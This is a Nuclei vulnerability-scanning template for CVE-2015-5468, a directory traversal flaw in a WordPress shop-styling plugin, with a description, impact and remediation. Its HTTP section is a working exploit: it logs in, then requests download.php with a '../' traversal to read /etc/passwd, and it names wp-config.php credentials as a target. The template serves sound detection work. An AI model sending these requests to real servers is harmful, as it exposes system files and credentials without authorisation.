CVE-2015-5468: WP e-Commerce Shop Styling <= 2.5 - Authenticated Directory Traversal / Arbitrary File Read

id: CVE-2015-5468

info:
  name: WP e-Commerce Shop Styling <= 2.5 - Authenticated Directory Traversal / Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    WP e-Commerce Shop Styling plugin for WordPress versions 2.5 and below contains a directory traversal vulnerability in includes/download.php. The 'filename' parameter is passed directly to readfile() without sanitization, allowing authenticated users to read arbitrary files on the server. Any authenticated WordPress user (including subscriber-level) can exploit this to download sensitive files such as /etc/passwd or wp-config.php. The endpoint requires WordPress authentication via wp-admin/admin.php; unauthenticated requests are redirected to wp-login.php. This template authenticates to WordPress first, then exploits the traversal.
  impact: |
    An authenticated attacker with any WordPress role (subscriber or above) can read arbitrary files from the server, including configuration files containing database credentials, authentication keys/salts, and system files. Reading wp-config.php enables admin cookie forging and direct database access.
  remediation: |
    Upgrade to WP e-Commerce Shop Styling version 2.6 or later, which rejects filenames containing "/" and requires the .pdf extension. Alternatively, remove the plugin if no longer needed.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5468
    - https://www.exploit-db.com/exploits/37422
    - https://wpscan.com/vulnerability/2f084e8a-c7d6-43c2-8834-7e4a6d501c8a
    - https://wordpress.org/plugins/wp-ecommerce-shop-styling/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2015-5468
    epss-score: 0.24093
    epss-percentile: 0.97863
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: haet
    product: wp-ecommerce-shop-styling
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2015,wordpress,wp-plugin,wp-ecommerce-shop-styling,lfi,traversal,authenticated,vkev

variables:
  traversal: "../../../../../../../"
  target_file: "etc/passwd"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - contains(to_lower(header), "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename={{traversal}}{{target_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "attachment; filename="

      - type: status
        status:
          - 200
# digest: 4a0a00473045022058a0b209bd5e3929afe3ad18e4e1c493846907a287fc6de45ee3da8a034abef7022100b26a4aa2cefeee643f28364498ada316e8e178b39ee7330725fe38323d503637:922c64590222798bb761d5b6d8e72950

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